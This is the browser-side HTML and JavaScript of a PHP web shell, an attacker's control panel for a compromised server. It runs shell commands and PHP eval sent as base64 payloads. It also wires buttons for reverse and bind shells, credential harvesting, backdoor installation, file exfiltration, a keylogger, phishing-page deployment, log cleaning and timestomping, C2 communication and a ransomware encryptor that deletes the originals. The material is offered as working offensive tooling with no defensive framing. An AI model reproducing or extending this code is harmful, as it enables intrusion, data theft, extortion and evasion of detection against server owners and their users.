	<div id="irreversible-modal" class="modal"><div class="modal-content irreversible-modal-content"><div class="modal-header irreversible-modal-header"><h3>⚠️ DANGER: IRREVERSIBLE ACTION</h3><span class="close" id="irreversible-modal-close">&times;</span></div><div class="modal-body irreversible-modal-body"><div class="irreversible-warning-box"><div class="irreversible-icon">💀</div><div class="irreversible-title">THIS ACTION IS IRREVERSIBLE!</div><div class="irreversible-message" id="irreversible-message"></div><div class="irreversible-details"><div class="irreversible-detail-item"><span class="detail-icon">🔒</span><span class="detail-text">Files will be encrypted with HADES encryption</span></div><div class="irreversible-detail-item"><span class="detail-icon">🗑️</span><span class="detail-text">Original files will be PERMANENTLY DELETED</span></div><div class="irreversible-detail-item"><span class="detail-icon">🔑</span><span class="detail-text">Recovery is ONLY possible with the password</span></div><div class="irreversible-detail-item"><span class="detail-icon">⚠️</span><span class="detail-text">Without the password, files are LOST FOREVER</span></div></div></div><div class="irreversible-modal-actions"><button id="irreversible-cancel-btn" class="irreversible-btn-cancel">❌ Cancel</button><button id="irreversible-confirm-btn" class="irreversible-btn-confirm">💀 I UNDERSTAND - PROCEED</button></div></div></div></div>
	<div id="confirm-modal" class="modal">
		<div class="modal-content confirm-modal-content">
			<div class="modal-header confirm-modal-header">
				<h3 id="confirm-title">⚠️ Confirmation</h3>
				<span class="close" id="confirm-modal-close">&times;</span>
			</div>
			<div class="modal-body confirm-modal-body">
				<div class="confirm-icon" id="confirm-icon">⚠️</div>
				<div class="confirm-message" id="confirm-message"></div>
				<div class="confirm-modal-actions">
					<button id="confirm-cancel-btn" class="confirm-btn-cancel">Cancel</button>
					<button id="confirm-ok-btn" class="confirm-btn-ok">OK</button>
				</div>
			</div>
		</div>
	</div>
	<div id="input-modal" class="modal">
		<div class="modal-content input-modal-content">
			<div class="modal-header input-modal-header">
				<h3 id="input-title">📝 Input Required</h3>
				<span class="close" id="input-modal-close">&times;</span>
			</div>
			<div class="modal-body input-modal-body">
				<div class="input-icon" id="input-icon">📝</div>
				<div class="input-label" id="input-label">Enter value:</div>
				<input type="text" id="input-field" class="input-field" placeholder="Type here..." autocomplete="off" autofocus>
				<div class="input-error" id="input-error"></div>
				<div class="input-modal-actions">
					<button id="input-cancel-btn" class="input-btn-cancel">Cancel</button>
					<button id="input-ok-btn" class="input-btn-ok">OK</button>
				</div>
			</div>
		</div>
	</div>
	<div id="toast"></div>

 	<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.15/codemirror.min.js"></script>
 	<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.15/mode/meta.js"></script>
 	<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.15/addon/edit/matchbrackets.min.js"></script>
 	<script>
 	const SCRIPT_URL = '/index.php';

 	const App = {
 		cwd: '', shell_dir: '', history: [], historyIndex: -1, editor: null, statsInterval: null,
 		user: '', hostname: '', kernelInfo: {}, intelFetched: false,
 		async init() {
			try {
 			const context = await this.api('get_context');
 			if (context && context.status === 'success') {
					this.cwd = context.cwd; 
					this.shell_dir = context.shell_dir;
					this.user = context.user; 
					this.hostname = context.hostname;
					this.renderSysInfo(context.sysinfo); 
					this.updateSystemInfoHeader(context);
					this.navigate('files'); 
					this.bindEvents();
 				this.loadDbCredentials();
					
					// Set default paths safely
					const pathInputs = [
						'search-path', 'writable-scan-path', 'content-search-path',
						'htaccess-path', 'cred-harvester-path', 'sensitive-scan-path',
						'monitor-path', 'phish-deploy-path'
					];
					pathInputs.forEach(id => {
						const el = document.getElementById(id);
						if (el) el.value = this.cwd;
					});
					
					const intelHostEl = document.getElementById('intel-host-name');
					if (intelHostEl) intelHostEl.innerText = this.hostname;
				} else { 
					const errorMsg = context ? (context.message || 'Failed to initialize shell.') : 'Empty response from server.';
					this.toast(errorMsg, 'error');
					console.error('Init failed:', context);
				}
			} catch (e) {
				console.error('Init error:', e);
				this.toast('Failed to initialize. Check console for details.', 'error');
			}
 		},
		async api(action, data = {}) {
			const payload = { action, ...data };
			const encodedPayload = this.encrypt(JSON.stringify(payload));
			const formData = new FormData();
			formData.append('p', encodedPayload);
			try {
				const res = await fetch(SCRIPT_URL, { method: 'POST', body: formData });
				if (!res.ok) throw new Error(`HTTP error! status: ${res.status}`);
				const encodedResponse = await res.text();
				if (!encodedResponse) { 
					console.error('API response is empty.'); 
					return { status: 'error', message: 'Empty response from server.' }; 
				}
				const decryptedResponse = this.decrypt(encodedResponse);
				if (!decryptedResponse) {
					console.error('Base64 decoding failed. Response length:', encodedResponse.length);
					console.error('Response preview:', encodedResponse.substring(0, 200));
					return { status: 'error', message: 'Base64 decoding failed. Server may have returned invalid response.' };
				}
				let json;
				try {
					json = JSON.parse(decryptedResponse);
				} catch (parseError) {
					console.error('JSON parse error:', parseError);
					console.error('Decrypted response:', decryptedResponse.substring(0, 200));
					return { status: 'error', message: 'Failed to parse server response as JSON.' };
				}
				if (json.status === 'error' && json.message) { 
					this.toast(json.message, 'error'); 
				}
				return json;
			} catch (e) {
				console.error('API request error:', e);
				console.error('Action:', action, 'Data:', data);
				this.toast('API request failed. Check console for details.', 'error');
				return { status: 'error', message: e.message || 'Unknown error' };
			}
		},
		encrypt: (data) => {
			try {
				return btoa(unescape(encodeURIComponent(data)));
			} catch (e) {
				console.error('Encryption error:', e);
				return btoa(data);
			}
		},
		decrypt(data) {
			if (!data || typeof data !== 'string') {
				console.error('Invalid data for decryption:', typeof data);
				return null;
			}
			// Clean the data: remove whitespace, newlines, and other invalid Base64 characters
			let cleaned = data.trim().replace(/[\s\n\r\t]/g, '');
			// Remove any non-Base64 characters (but keep padding =)
			cleaned = cleaned.replace(/[^A-Za-z0-9+\/=]/g, '');
			// Ensure proper padding
			while (cleaned.length % 4 !== 0) {
				cleaned += '=';
			}
			try {
				const decoded = atob(cleaned);
				try {
					return decodeURIComponent(escape(decoded));
				} catch (e) {
					// If UTF-8 decode fails, return raw decoded
					return decoded;
				}
			} catch (e) {
				console.error("Base64 decoding error:", e);
				console.error("Original data length:", data.length);
				console.error("Cleaned data length:", cleaned.length);
				console.error("Data preview:", data.substring(0, 100));
				console.error("Cleaned preview:", cleaned.substring(0, 100));
				return null;
			}
		},
		bindEvents() {
			document.querySelectorAll('.nav-button').forEach(el => { el.addEventListener('click', () => { this.navigate(el.dataset.view); }); });
			document.querySelectorAll('.modal .close').forEach(el => el.addEventListener('click', () => this.closeModal(el.closest('.modal'))));
			const safeAddEventListener = (id, handler) => { const el = document.getElementById(id); if (el) el.addEventListener('click', handler); };
			
			// Header collapse button
			const headerCollapseBtn = document.getElementById('header-collapse-btn');
			const systemInfoHeader = document.getElementById('system-info-header');
			if (headerCollapseBtn && systemInfoHeader) {
				headerCollapseBtn.addEventListener('click', (e) => {
					e.preventDefault();
					e.stopPropagation();
					systemInfoHeader.classList.toggle('collapsed');
					const isCollapsed = systemInfoHeader.classList.contains('collapsed');
					headerCollapseBtn.textContent = isCollapsed ? '☰' : '✕';
					headerCollapseBtn.title = isCollapsed ? 'Show System Info' : 'Hide System Info';
				});
			}
			
			// Navigation collapse button
			const navCollapseBtn = document.getElementById('nav-collapse-btn');
			const topNavbar = document.getElementById('top-navbar');
			if (navCollapseBtn && topNavbar) {
				navCollapseBtn.addEventListener('click', () => {
					topNavbar.classList.toggle('expanded');
					navCollapseBtn.textContent = topNavbar.classList.contains('expanded') ? '✕ Menu' : '☰ Menu';
				});
			}
			safeAddEventListener('home-shell-btn', () => this.loadFiles(this.shell_dir));
			// Note: file-list event handler is added in loadFiles() to prevent double binding
			safeAddEventListener('create-file-btn', () => this.createItem('file'));
 			safeAddEventListener('create-dir-btn', () => this.createItem('dir'));
 			safeAddEventListener('upload-file-input', e => this.uploadFiles(e));
 			safeAddEventListener('term-input', e => this.handleTerminalInput(e));
 			safeAddEventListener('start-scan-btn', () => this.startPortScan());
 			safeAddEventListener('run-eval-btn', () => this.runEval());
 			safeAddEventListener('wget-btn', () => this.runWget());
 			safeAddEventListener('self-destruct-btn', () => this.selfDestruct());
 			safeAddEventListener('mass-upload-btn', () => this.runMassUpload());
 			safeAddEventListener('find-suid-guid-btn', () => this.findSuidGuidFiles());
 			safeAddEventListener('run-db-query-btn', () => this.runDbQuery());
 			safeAddEventListener('connect-rev-shell-btn', () => this.connectReverseShell());
 			safeAddEventListener('connect-bind-shell-btn', () => this.connectBindShell());
 			safeAddEventListener('start-search-btn', () => this.searchFiles());
 			safeAddEventListener('save-cron-btn', () => this.saveCron());
 			safeAddEventListener('get-users-groups-btn', () => this.getUsersAndGroups());
 			safeAddEventListener('get-kernel-info-btn', () => this.getKernelInfo());
 			safeAddEventListener('start-content-search-btn', () => this.searchContent());
 			safeAddEventListener('get-configs-btn', () => this.getConfigs());
 			safeAddEventListener('inject-code-btn', () => this.injectCode());
 			safeAddEventListener('log-cleaner-btn', () => this.cleanLog());
 			document.querySelectorAll('.tab-link').forEach(tab => { tab.addEventListener('click', (e) => { const targetTab = e.target.dataset.tab; const tabsContainer = e.target.closest('.tabs'); const viewContainer = e.target.closest('.view-container'); if (tabsContainer && viewContainer) { tabsContainer.querySelectorAll('.tab-link').forEach(t => t.classList.remove('active')); e.target.classList.add('active'); viewContainer.querySelectorAll('.tab-content').forEach(c => c.classList.remove('active')); const targetContent = viewContainer.querySelector(`#tab-${targetTab}`); if (targetContent) targetContent.classList.add('active'); } }); });
 			safeAddEventListener('sidebar-toggle', () => document.body.classList.toggle('sidebar-open'));
 			safeAddEventListener('sidebar-overlay', () => document.body.classList.remove('sidebar-open'));
 			safeAddEventListener('run-domain-intel-btn', () => this.runDomainIntel());
 			safeAddEventListener('sudo-check-btn', () => this.runSudoCheck());
 			safeAddEventListener('get-user-context-btn', () => this.getUserContext());
 			safeAddEventListener('find-writable-btn', () => this.findWritable());
 			safeAddEventListener('get-ssh-keys-btn', () => this.getSshKeys());
 			safeAddEventListener('add-ssh-key-btn', () => this.addSshKey());
 			safeAddEventListener('htaccess-persist-btn', () => this.applyHtaccessPersist());
 			safeAddEventListener('cred-harvester-btn', () => this.runCredHarvester());
 			safeAddEventListener('start-port-forward-btn', () => this.startPortForward());
 			safeAddEventListener('create-wp-user-btn', () => this.createWpUser());
 			safeAddEventListener('run-symlink-btn', () => this.runSymlink());
 			safeAddEventListener('find-cpanel-creds-btn', () => this.findCpanelCreds());
            safeAddEventListener('run-fingerprint-btn', () => this.runFingerprint());
            safeAddEventListener('run-sensitive-scan-btn', () => this.runSensitiveScan());
            safeAddEventListener('run-monitor-btn', () => this.runMonitor());
            safeAddEventListener('install-backdoor-btn', () => this.runBackdoorInstaller());
            safeAddEventListener('run-exfil-btn', () => this.runExfil());
            safeAddEventListener('run-hog-btn', () => this.runCpuHog());
            safeAddEventListener('run-keylogger-btn', () => this.runKeylogger());
            // V8.0 Event Listeners
            safeAddEventListener('run-privesc-checker-btn', () => this.runPrivescChecker());
            safeAddEventListener('run-subnet-scan-btn', () => this.runSubnetScanner());
            safeAddEventListener('view-firewall-btn', () => this.viewFirewallRules());
            safeAddEventListener('flush-firewall-btn', () => this.flushFirewallRules());
            safeAddEventListener('deploy-phish-btn', () => this.deployPhishingPage());
            // New Features Event Listeners
            safeAddEventListener('start-watcher-btn', () => this.startFileWatcher());
            safeAddEventListener('stop-watcher-btn', () => this.stopFileWatcher());
            safeAddEventListener('refresh-processes-btn', () => this.refreshProcesses());
            safeAddEventListener('auto-refresh-processes-btn', () => this.toggleAutoRefreshProcesses());
            safeAddEventListener('start-capture-btn', () => this.startPacketCapture());
            safeAddEventListener('encrypt-file-btn', () => this.encryptFile());
            safeAddEventListener('decrypt-file-btn', () => this.decryptFile());
            safeAddEventListener('dns-send-btn', () => this.dnsTunnelSend());
            safeAddEventListener('dns-receive-btn', () => this.dnsTunnelReceive());
            safeAddEventListener('dump-memory-btn', () => this.dumpMemory());
            safeAddEventListener('analyze-memory-btn', () => this.analyzeMemory());
            safeAddEventListener('suggest-exploits-btn', () => this.suggestExploits());
            safeAddEventListener('crack-hash-btn', () => this.crackHash());
            safeAddEventListener('generate-wordlist-btn', () => this.generateWordlist());
            safeAddEventListener('obfuscate-btn', () => this.obfuscateCode());
            safeAddEventListener('notification-btn', () => this.navigate('notifications'));
            safeAddEventListener('clear-all-notifications-btn', () => this.clearAllNotifications());
            // Ransom Creator Event Listeners
            safeAddEventListener('ransom-browse-btn', () => this.ransomBrowseFiles());
            safeAddEventListener('ransom-generate-password-btn', () => this.ransomGeneratePassword());
            safeAddEventListener('ransom-encrypt-btn', () => this.ransomEncryptFiles());
            safeAddEventListener('ransom-decrypt-btn', () => this.ransomDecryptFile());
            safeAddEventListener('generate-shell-btn', () => this.generateWebShell());
            safeAddEventListener('copy-shell-code-btn', () => this.copyShellCode());
            safeAddEventListener('find-shells-btn', () => this.findWebShells());
            safeAddEventListener('col-dump-btn', () => this.columnDumper());
            safeAddEventListener('db-dump-btn', () => this.databaseDumper());
            safeAddEventListener('basedir-generate-btn', () => this.openBasedirBypass());
            safeAddEventListener('fake-mail-btn', () => this.fakeMail());
            safeAddEventListener('whmcs-decode-btn', () => this.whmcsDecoder());
            // New Advanced Features
            safeAddEventListener('advanced-log-cleaner-btn', () => this.advancedLogCleaner());
            safeAddEventListener('multi-backup-btn', () => this.multiLocationBackup());
            safeAddEventListener('c2-communicate-btn', () => this.c2Communicate());
            safeAddEventListener('waf-bypass-test-btn', () => this.wafBypassTest());
            safeAddEventListener('system-profiler-btn', () => this.systemProfiler());
            safeAddEventListener('register-shell-btn', () => this.registerShell());
            safeAddEventListener('list-shells-btn', () => this.listShells());
            safeAddEventListener('broadcast-command-btn', () => this.broadcastCommand());
            safeAddEventListener('enhanced-persistence-btn', () => this.enhancedPersistence());
            safeAddEventListener('create-htaccess-btn', () => this.createHtaccess());
            safeAddEventListener('stealth-hide-process-btn', () => this.stealthHideProcess());
            safeAddEventListener('stealth-log-evasion-btn', () => this.stealthLogEvasion());
            // Handle term-input keydown separately
            const termInput = document.getElementById('term-input');
            if (termInput) termInput.addEventListener('keydown', e => this.handleTerminalInput(e));
            // Handle file-list click separately - use event delegation on parent to prevent duplicates
            const fileList = document.getElementById('file-list');
            if (fileList && !fileList.dataset.listenerAdded) {
                fileList.addEventListener('click', e => this.handleFileManagerClick(e));
                fileList.dataset.listenerAdded = 'true';
            }
            // Handle upload-file-input change separately
            const uploadInput = document.getElementById('upload-file-input');
            if (uploadInput) uploadInput.addEventListener('change', e => this.uploadFiles(e));
 		},
 		navigate(viewId) {
 			document.querySelectorAll('.view-container').forEach(v => v.style.display = 'none');
			const viewEl = document.getElementById(`view-${viewId}`);
			if (viewEl) viewEl.style.display = 'flex';
			document.querySelectorAll('.nav-button').forEach(btn => btn.classList.remove('active'));
			const activeBtn = document.querySelector(`.nav-button[data-view="${viewId}"]`);
			if (activeBtn) activeBtn.classList.add('active');
 			if (this.statsInterval) { clearInterval(this.statsInterval); this.statsInterval = null; }
 			if (viewId === 'dashboard') { this.updateLiveStats(); this.statsInterval = setInterval(() => this.updateLiveStats(), 2000); }
			else if (viewId === 'files') { const fileList = document.getElementById('file-list'); if (fileList && fileList.innerHTML === '') this.loadFiles(this.cwd); }
			else if (viewId === 'terminal') { this.updateTerminalPrompt(); const termInput = document.getElementById('term-input'); if (termInput) termInput.focus(); }
			else if (viewId === 'mass-uploader') { const dirTree = document.getElementById('dir-tree-container'); if (dirTree && dirTree.innerHTML.includes('Loading')) this.loadDirTree('#dir-tree-container'); }
            else if (viewId === 'data-tools') { const exfilTree = document.getElementById('exfil-dir-tree'); if (exfilTree && exfilTree.innerHTML.includes('Loading')) this.loadDirTree('#exfil-dir-tree'); }
 			else if (viewId === 'cron') this.loadCron();
 			else if (viewId === 'domain-intel' && !this.intelFetched) { 
				// Don't auto-run, let user click button to trigger password prompt
				this.intelFetched = false; 
			}
 			else if (viewId === 'cpanel-cms') { this.initCmsCpanelView(); }
			else if (viewId === 'notifications') { this.renderNotifications(); }
			else if (viewId === 'process-manager') { this.refreshProcesses(); }
			else if (viewId === 'ransom-creator') { 
				this.ransomSelectedFiles.clear(); 
				this.ransomUpdateCount();
				const ransomBrowsePath = document.getElementById('ransom-browse-path');
				if (ransomBrowsePath && !ransomBrowsePath.value) {
					ransomBrowsePath.value = this.cwd;
				}
			}
		},
 		async loadFiles(path) {
 			const res = await this.api('browse', { path });
 			if (!res || res.status !== 'success') return;
			this.cwd = res.cwd; const cwdEl = document.getElementById('cwd'); if (cwdEl) cwdEl.value = this.cwd; this.updateTerminalPrompt();
			const fileList = document.getElementById('file-list');
			if (!fileList) return;
			fileList.innerHTML = res.files.map(f => {
 				let nameClass = f.is_dir ? (f.is_writable ? 'fname-dir-writable' : 'fname-dir-unwritable') : (f.is_writable ? 'fname-file-writable' : 'fname-file-unwritable');
 				let icon = f.is_dir ? (f.name === '..' ? '⤴️' : '🔷') : '📄';
 				let actions = `<a data-action="rename" title="Rename">✏️</a> <a data-action="chmod" title="Permissions">🔒</a>`;
 				if (!f.is_dir) actions += ` <a data-action="timestomp" title="Timestomp" style="color:#a0a0a0;">🕰️</a>`;
 				actions += ` <a data-action="delete" title="Delete" style="color:#ff5572;">🗑️</a>`;
 				if(f.is_dir && f.name !== '..') actions += ` <a data-action="zip" title="Zip" style="color:#ffc777;">📦</a>`;
 				else if (!f.is_dir) {
                    actions += ` <a data-action="exfil_paste" title="Exfiltrate via Paste" style="color:#A482FF;">📤</a>`;
                    actions += ` <a href="${SCRIPT_URL}?download=${encodeURIComponent(f.path)}" title="Download" style="color:#c3e88d;">📥</a>`;
                    if (f.name.endsWith('.zip')) actions += ` <a data-action="unzip" title="Unzip" style="color:#82aaff;">📤</a>`;
                }
 				return `<tr data-path="${f.path}" data-name="${f.name}" data-dir="${f.is_dir}" data-perms="${f.perms}"><td class="fname ${nameClass}" title="${f.path}">${icon} ${f.name}</td><td>${f.size}</td><td class="perms-col">${f.full_perms}</td><td>${f.mtime}</td><td class="actions">${f.name !== '..' ? actions : ''}</td></tr>`;
 			}).join('');
 		},
 		handleFileManagerClick(e) {
 			const row = e.target.closest('tr'); if (!row) return; const path = row.dataset.path, name = row.dataset.name, actionEl = e.target.closest('a[data-action]');
 			if (actionEl) {
                const action = actionEl.dataset.action;
                const actions = {
                    rename: () => this.renameItem(path, name),
                    delete: () => this.deleteItem(path, name),
                    chmod: () => this.showChmodModal(path, row.dataset.perms),
                    zip: () => this.zipItem(path),
                    unzip: () => this.unzipItem(path),
                    timestomp: () => this.showTimestompModal(path),
                    exfil_paste: () => this.exfilViaPaste(path)
                };
                if (actions[action]) actions[action]();
            }
 			else if (e.target.closest('td.fname')) {
 				if (row.dataset.dir === 'true') this.loadFiles(path);
 				else { const ext = name.split('.').pop().toLowerCase(); if (['jpg', 'jpeg', 'png', 'gif', 'webp', 'svg', 'mp4', 'webm', 'ogg'].includes(ext)) { this.showMediaModal(path, ext); } else { this.showEditor(path); } }
 			}
 		},
		async createItem(type) { const name = await this.showInputModal(`Enter new ${type} name:`, '', { title: `📁 Create New ${type === 'file' ? 'File' : 'Directory'}`, icon: type === 'file' ? '📄' : '📁', required: true, placeholder: `Enter ${type} name...` }); if (name) { const res = await this.api('create', { name, type }); if (res.status === 'success') { this.toast(res.message); this.loadFiles(this.cwd); } } },
		async renameItem(path, oldName) { const newName = await this.showInputModal("Enter new name:", oldName, { title: '✏️ Rename Item', icon: '✏️', required: true, placeholder: 'Enter new name...', validator: (val) => val !== oldName, validatorError: 'New name must be different from current name' }); if (newName && newName !== oldName) { const res = await this.api('rename', { path, newName }); if (res.status === 'success') { this.toast(res.message); this.loadFiles(this.cwd); } } },
 		async deleteItem(path, name) { const confirmed = await this.showConfirmModal(`Are you sure you want to delete <strong>"${name}"</strong>?`, { type: 'danger', okText: 'Delete', cancelText: 'Cancel' }); if (confirmed) { const res = await this.api('delete', { path }); if (res.status === 'success') { this.toast(res.message); this.loadFiles(this.cwd); } } },
 		async zipItem(path) { const confirmed = await this.showConfirmModal(`Create a zip archive of <strong>"${path.split('/').pop()}"</strong>?`, { type: 'question' }); if (confirmed) { const res = await this.api('zip', { path }); if (res.status === 'success') { this.toast(res.message); this.loadFiles(this.cwd); } } },
 		async unzipItem(path) { const confirmed = await this.showConfirmModal(`Extract <strong>"${path.split('/').pop()}"</strong>?`, { type: 'question' }); if (confirmed) { const res = await this.api('unzip', { path }); if (res.status === 'success') { this.toast(res.message); this.loadFiles(this.cwd); } } },
 		async uploadFiles(e) {
 			const files = Array.from(e.target.files); if (!files.length) return; this.toast(`Uploading ${files.length} file(s)...`);
 			const formData = new FormData();
 			const payload = { action: 'upload', path: this.cwd };
 			formData.append('p', this.encrypt(JSON.stringify(payload)));
 			files.forEach(file => formData.append('file[]', file));
 			try {
 				const res = await fetch(SCRIPT_URL, { method: 'POST', body: formData }); const encodedResponse = await res.text(); const json = JSON.parse(this.decrypt(encodedResponse));
 				this.toast(json.message, json.status); this.loadFiles(this.cwd);
 			} catch (err) { this.toast('Upload failed.', 'error'); } finally { e.target.value = ''; }
 		},
 		async showEditor(path) {
 			const res = await this.api('get_file_content', { path }); if (res.status !== 'success') return;
 			this.showModal(document.getElementById('editor-modal')); document.getElementById('editor-filename').innerText = path;
 			if(!this.editor) { this.editor = CodeMirror.fromTextArea(document.getElementById('editor-textarea'), { lineNumbers: true, theme: 'dracula', matchBrackets: true }); }
 			this.editor.setValue(res.content); const modeInfo = CodeMirror.findModeByFileName(path);
 			if (modeInfo) { this.editor.setOption('mode', modeInfo.mime); } else { this.editor.setOption('mode', 'text/plain'); }
 			setTimeout(() => this.editor.refresh(), 1);
 			document.getElementById('save-file-btn').onclick = async () => { const saveRes = await this.api('save_file', { path, content: this.editor.getValue() }); if(saveRes.status === 'success') { this.toast(saveRes.message); this.closeModal(document.getElementById('editor-modal')); this.loadFiles(this.cwd); } };
 		},
 		showChmodModal(path, currentPerms) {
 			const modal = document.getElementById('chmod-modal'); this.showModal(modal); document.getElementById('chmod-path').value = path.split('/').pop(); const input = document.getElementById('chmod-input');
 			input.value = currentPerms; input.focus();
 			document.getElementById('chmod-save-btn').onclick = async () => { const perms = input.value; if(perms && /^[0-7]{3,4}$/.test(perms)) { await this.api('chmod', { path, perms }); this.closeModal(modal); this.loadFiles(this.cwd); } else { this.toast('Invalid permission format.', 'error'); } };
 		},
 		showMediaModal(path, ext) {
 			const modal = document.getElementById('media-modal'); const content = document.getElementById('media-content'); this.showModal(modal); const url = `${SCRIPT_URL}?download=${encodeURIComponent(path)}`;
 			if (['jpg', 'jpeg', 'png', 'gif', 'webp', 'svg'].includes(ext)) { content.innerHTML = `<img src="${url}" style="max-width:100%; max-height: 70vh; border-radius: 6px;">`; } else { content.innerHTML = `<video controls autoplay src="${url}" style="max-width:100%; max-height: 70vh; border-radius: 6px;"></video>`; }
 		},
 		handleTerminalInput(e) {
 			const input = e.target;
 			const handleCmd = async () => {
 				const cmd = input.value; this.history.unshift(cmd); this.historyIndex = -1;
 				this.appendTerminalOutput(`<span style="color:var(--accent-green);">${this.user}@${this.hostname}</span>:<span style="color:var(--accent-blue);">${this.cwd}</span><span style="color:var(--accent-gold); margin:0 5px;">$</span><span>${cmd.replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;")}</span>`);
 				input.value = ''; if (cmd.trim() === 'clear') { const termOutput = document.getElementById('term-output'); if (termOutput) termOutput.innerHTML = ''; return; }
 				const res = await this.api('exec', { cmd });
 				if(res && res.status === 'success'){ this.appendTerminalOutput(res.output); this.cwd = res.cwd; this.updateTerminalPrompt(); const cwdEl = document.getElementById('cwd'); if (cwdEl) cwdEl.value = this.cwd; const filesView = document.getElementById('view-files'); if (filesView && filesView.style.display === 'flex') { this.loadFiles(this.cwd); } }
 			};
 			if (e.key === 'Enter' && input.value) { handleCmd(); }
 			else if (e.key === 'ArrowUp') { e.preventDefault(); if(this.historyIndex < this.history.length - 1) { this.historyIndex++; input.value = this.history[this.historyIndex]; } }
 			else if (e.key === 'ArrowDown') { e.preventDefault(); if(this.historyIndex > 0) { this.historyIndex--; input.value = this.history[this.historyIndex]; } else { this.historyIndex = -1; input.value = ''; } }
 		},
 		appendTerminalOutput(text) { const el = document.getElementById('term-output'); if (el) { el.innerHTML += text.replace(/\n/g, '<br>') + '<br>'; el.scrollTop = el.scrollHeight; } },
 		updateTerminalPrompt() { 
			const safeSet = (id, value, prop = 'innerText') => { const el = document.getElementById(id); if (el) el[prop] = value; };
			safeSet('term-user-host', `${this.user}@${this.hostname}`);
			safeSet('term-cwd', this.cwd);
			safeSet('search-path', this.cwd, 'value');
			safeSet('content-search-path', this.cwd, 'value');
			safeSet('htaccess-path', this.cwd, 'value');
			safeSet('writable-scan-path', this.cwd, 'value');
			safeSet('cred-harvester-path', this.cwd, 'value');
			safeSet('phish-deploy-path', this.cwd, 'value');
		},
 		async runEval() { const res = await this.api('php_eval', { code: document.getElementById('eval-code').value }); if (res.status === 'success') document.getElementById('eval-output').innerText = res.output; },
 		async startPortScan() {
 			const host = document.getElementById('scan-host').value, ports = document.getElementById('scan-ports').value, resultsEl = document.getElementById('scan-results'); if (!host || !ports) return this.toast('Host and Ports are required.', 'error');
 			resultsEl.innerText = `Scanning ${host}...`; const res = await this.api('port_scan', { host, ports });
 			if (res.status === 'success') { resultsEl.innerText = `Scan results for ${host}:\n` + Object.entries(res.results).map(([port, status]) => `Port ${port}: ${status}`).join('\n'); }
 		},
 		async runWget() { const url = document.getElementById('wget-url').value; if (url) { const res = await this.api('wget', { url }); if (res.status === 'success') { this.toast(res.message); if (document.getElementById('view-files').style.display === 'flex') this.loadFiles(this.cwd); } } },
 		async selfDestruct() { const confirmed = await this.showConfirmModal("DANGER: This action is irreversible and will permanently delete this script from the server.<br><br>Are you absolutely sure?", { type: 'danger', okText: 'Self-Destruct', cancelText: 'Cancel' }); if (confirmed) { const res = await this.api('self_destruct'); this.toast(res.message, res.status); if (res.status === 'success') { document.body.innerHTML = `<div style="text-align:center; padding: 5rem; font-size: 1.5rem;"><h1>${res.message}</h1><p>Self-destruct sequence completed.</p></div>`; } } },
 		async loadDirTree(containerSelector) {
 			const res = await this.api('get_dir_tree'); const container = document.querySelector(containerSelector);
 			if (res && res.status === 'success') { container.innerHTML = ''; container.classList.add('dir-tree'); const rootUl = document.createElement('ul'); rootUl.style.paddingLeft = '0'; rootUl.appendChild(this.renderDirTreeNode(res.tree[0])); container.appendChild(rootUl); container.addEventListener('click', e => { if (e.target.classList.contains('dir-tree-node')) { const sublist = e.target.closest('li').querySelector('ul'); if (sublist) { sublist.style.display = sublist.style.display === 'none' ? 'block' : 'none'; e.target.classList.toggle('collapsed'); } } }); } else { container.innerHTML = '<p style="color:var(--accent-red);">Failed to load directory tree.</p>'; }
 		},
 		renderDirTreeNode(node) {
 			const li = document.createElement('li'); const label = document.createElement('label'); const checkbox = document.createElement('input');
 			checkbox.type = 'checkbox'; checkbox.value = node.path; label.appendChild(checkbox); const span = document.createElement('span');
 			span.textContent = ' ' + node.name; label.appendChild(span); li.appendChild(label);
 			if (node.children && node.children.length > 0) { span.className = 'dir-tree-node collapsed'; const ul = document.createElement('ul'); ul.style.display = 'none'; node.children.forEach(child => ul.appendChild(this.renderDirTreeNode(child))); li.appendChild(ul); }
 			return li;
 		},
 		async runMassUpload() {
 			const fileInput = document.getElementById('mass-upload-input'); const file = fileInput.files[0]; if (!file) return this.toast('Please select a file to upload.', 'error');
 			const selectedDirs = Array.from(document.querySelectorAll('#dir-tree-container input:checked')).map(cb => cb.value); if (selectedDirs.length === 0) return this.toast('Please select at least one directory.', 'error');
 			this.toast(`Uploading "${file.name}" to ${selectedDirs.length} locations...`); const formData = new FormData();
 			formData.append('p', this.encrypt(JSON.stringify({ action: 'mass_upload', dirs: JSON.stringify(selectedDirs) }))); formData.append('file', file);
 			try { const res = await fetch(SCRIPT_URL, { method: 'POST', body: formData }); const json = JSON.parse(this.decrypt(await res.text())); this.toast(json.message, json.status || 'success'); } catch (e) { this.toast('Mass upload failed.', 'error'); console.error(e); }
 			finally { fileInput.value = ''; }
 		},
 		async findSuidGuidFiles() {
 			const outputEl = document.getElementById('suid-guid-output'); outputEl.innerText = 'Scanning... This may take several minutes.';
 			this.toast('Starting SUID/GUID scan...'); const res = await this.api('find_suid_guid');
 			if (res && res.status === 'success') { outputEl.innerHTML = res.data; this.toast('SUID/GUID scan complete.'); } else { outputEl.innerText = 'Scan failed.'; }
 		},
 		async runDbQuery() {
 			const creds = { db_host: document.getElementById('db-host').value, db_user: document.getElementById('db-user').value, db_pass: document.getElementById('db-pass').value, db_name: document.getElementById('db-name').value };
 			const db_query = document.getElementById('db-query').value;
 			const resultsContainer = document.getElementById('db-results-container');
 			if (!creds.db_host || !creds.db_user || !db_query) return this.toast('Host, User, and Query are required.', 'error');
 			this.saveDbCredentials(creds);
 			resultsContainer.innerHTML = '<p>Executing query...</p>';
 			const res = await this.api('database_query', { ...creds, db_query });
 			if (!res) { resultsContainer.innerHTML = '<p style="color:var(--accent-red);">API request failed.</p>'; return; }
 			if (res.status === 'success') {
 				if (res.rows) { let table = '<table class="results-table"><thead><tr>'; res.headers.forEach(h => table += `<th>${h}</th>`); table += '</tr></thead><tbody>'; res.rows.forEach(r => { table += '<tr>'; res.headers.forEach(h => table += `<td>${r[h] || 'NULL'}</td>`); table += '</tr>'; }); table += '</tbody></table>'; resultsContainer.innerHTML = table; } else { resultsContainer.innerHTML = `<p style="color:var(--accent-green);">${res.message}</p>`; if(res.affected_rows !== undefined) resultsContainer.innerHTML += `<p>Rows affected: ${res.affected_rows}</p>`; }
 			} else { resultsContainer.innerHTML = `<p style="color:var(--accent-red);">${res.message}</p>`; }
 		},
